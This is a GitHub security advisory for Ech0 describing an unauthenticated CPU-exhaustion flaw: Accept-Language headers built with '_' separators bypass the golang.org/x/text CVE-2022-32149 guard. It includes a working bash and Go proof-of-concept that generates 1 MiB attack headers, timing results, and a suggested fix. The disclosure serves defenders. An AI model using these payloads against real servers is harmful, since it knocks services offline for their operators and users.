{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 5.0.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T19:58:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nEch0\u0027s i18n middleware runs on every HTTP request and constructs a fresh `*goi18n.Localizer` from the raw `Accept-Language` header without imposing any size or shape filter. `goi18n.NewLocalizer` calls `golang.org/x/text/language.ParseAcceptLanguage` on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser\u0027s internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.\n\n### Affected versions\n\n`github.com/lin-snow/Ech0` v4.8.2 and (per code inspection of `main`) earlier 4.x versions that wire the `internal/i18n.Middleware()` gin middleware on the global router without imposing their own size limit on `Accept-Language`. Verified on:\n\n- the official `ghcr.io/lin-snow/ech0:latest` Docker image at v4.8.2 (E2E below)\n- `main` at commit `451c7c10eb1f23f7525c163e83f8b39f46d5aad0` by reading `internal/i18n/i18n.go` (the middleware and `setLocaleContext` call site are unchanged)\n\n### Privilege required\n\nUnauthenticated. The `i18n.Middleware` runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated `/api/echo/page` endpoint.\n\n### Vulnerable code\n\n[`internal/i18n/i18n.go`](https://github.com/lin-snow/Ech0/blob/451c7c10eb1f23f7525c163e83f8b39f46d5aad0/internal/i18n/i18n.go) (blob SHA `451c7c10eb1f23f7525c163e83f8b39f46d5aad0`), the gin middleware `Middleware()` at lines 202-213:\n\n```go\nfunc Middleware() gin.HandlerFunc {\n    return func(ctx *gin.Context) {\n        explicit := explicitLocaleFromRequest(ctx)\n        acceptLanguage := strings.TrimSpace(ctx.GetHeader(\"Accept-Language\"))\n        locale := systemDefaultLocale()\n        if explicit != \"\" {\n            locale = ResolveLocale(explicit, acceptLanguage)\n        }\n        setLocaleContext(ctx, locale, acceptLanguage)\n        ctx.Next()\n    }\n}\n```\n\n`setLocaleContext` at line 191 then calls `NewLocalizer(normalized, acceptLanguage)`:\n\n```go\nfunc setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) {\n    if ctx == nil {\n        return\n    }\n    normalized := ResolveLocale(locale)\n    localizer := NewLocalizer(normalized, acceptLanguage)\n    ctx.Set(ContextLocaleKey, normalized)\n    ctx.Set(ContextLocalizerKey, localizer)\n    ctx.Header(\"Content-Language\", normalized)\n}\n```\n\n`NewLocalizer` is a thin wrapper around `goi18n.NewLocalizer`, which internally calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper (see `github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50`). So the unfiltered `acceptLanguage` reaches `language.ParseAcceptLanguage` on every request.\n\n`ctx.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go\u0027s default `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nThe additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage(strings.Join(parts, \",\"))` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect (the input concatenates `explicit + acceptLanguage` so the parser sees both, and the path is exercised twice).\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N\u00b2) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nThe middleware sequence on any HTTP request:\n\n1. The request enters `i18n.Middleware()`.\n2. `ctx.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `setLocaleContext` is called with that value.\n4. `NewLocalizer(normalized, acceptLanguage)` constructs a goi18n localizer; goi18n\u0027s `parseTags` calls `language.ParseAcceptLanguage(acceptLanguage)` unfiltered.\n\nNo size or character-class filter is applied between (2) and (4). When `X-Locale` or `?lang=` is also present, the parser is invoked twice on related input via the explicit `ResolveLocale(explicit, acceptLanguage)` path at line 210.\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh `ghcr.io/lin-snow/ech0:latest` container:\n\n```bash\ndocker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest\nsleep 5\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:18300/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner\u0027s `len \u003c= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `ghcr.io/lin-snow/ech0:latest` at v4.8.2)\n\nA Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18300/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) \u003c= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := \u0026http.Client{\n        Timeout: 60 * time.Second,\n        Transport: \u0026http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  \u0027_\u0027=%d  \u0027-\u0027=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n    send(\"attack (\u0027_\u0027 x 1MiB)\",     buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 2\",          buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 3\",          buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `ghcr.io/lin-snow/ech0:latest` image at v4.8.2):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\nlin-snow/Ech0 v4.8.2 i18n middleware at\ninternal/i18n/i18n.go (Middleware -\u003e setLocaleContext -\u003e NewLocalizer).\n\nTarget: http://127.0.0.1:18300/   payload=1048576 B\n\n  warm-up                                      header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=200  t=7.692458ms\n\n--- measurements (single request each) ---\n  baseline (no header)                         header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=200  t=2.666625ms\n  baseline (1 short tag)                       header=5 B  \u0027_\u0027=0  \u0027-\u0027=1  status=200  t=1.981333ms\n  guard-fires control (\u0027-\u0027 x payload)          header=1048572 B  \u0027_\u0027=0  \u0027-\u0027=104857  status=200  t=21.445083ms\n  attack (\u0027_\u0027 x payload)                       header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.489513083s\n  attack repeat 2                              header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.501842542s\n  attack repeat 3                              header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.571093458s\n```\n\nSetting `X-Locale: en` in addition (which triggers the explicit-locale `ResolveLocale` path at line 210, calling `ParseAcceptLanguage(strings.Join(parts, \",\"))` directly) makes the same request take ~7.9 s on the same host \u2014 the attacker doubles the work by adding one short header. Setting `?lang=en` in the query gives ~3 s.\n\nInterpretation:\n\n| Request                                  | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag                    | 0 - 5        | 2 - 8 ms    |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 21 ms       |\n| 1 MiB `_` separators (guard bypassed), no X-Locale | 1 MiB | 1.5 - 1.6 s |\n| 1 MiB `_` separators with X-Locale: en   | 1 MiB        | ~7.9 s      |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The `_` attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte `X-Locale: en` header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the `X-Locale: en` header.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter at the i18n middleware boundary, before the `Accept-Language` value reaches `setLocaleContext` (and through it `NewLocalizer`). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and drop the header when the total exceeds a small ceiling:\n\n```go\n// internal/i18n/i18n.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send \u003c 10\n\nfunc sanitizeAcceptLanguage(v string) string {\n    if strings.Count(v, \"-\")+strings.Count(v, \"_\") \u003e maxAcceptLanguageSeparators {\n        return \"\"\n    }\n    return v\n}\n\nfunc Middleware() gin.HandlerFunc {\n    return func(ctx *gin.Context) {\n        explicit := explicitLocaleFromRequest(ctx)\n        acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader(\"Accept-Language\")))\n        locale := systemDefaultLocale()\n        if explicit != \"\" {\n            locale = ResolveLocale(explicit, acceptLanguage)\n        }\n        setLocaleContext(ctx, locale, acceptLanguage)\n        ctx.Next()\n    }\n}\n```\n\nThe same `sanitizeAcceptLanguage` should be applied wherever `Accept-Language` is consumed (`HeaderLocale` at line 230 and the `user.go` paths at lines 80, 275 that pass user input into `ResolveLocale`).\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.\n\n### Fix PR\n\nhttps://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1",
  "id": "GHSA-mqxv-9rm6-w8qc",
  "modified": "2026-07-14T19:58:54Z",
  "published": "2026-07-14T19:58:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-mqxv-9rm6-w8qc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware"
}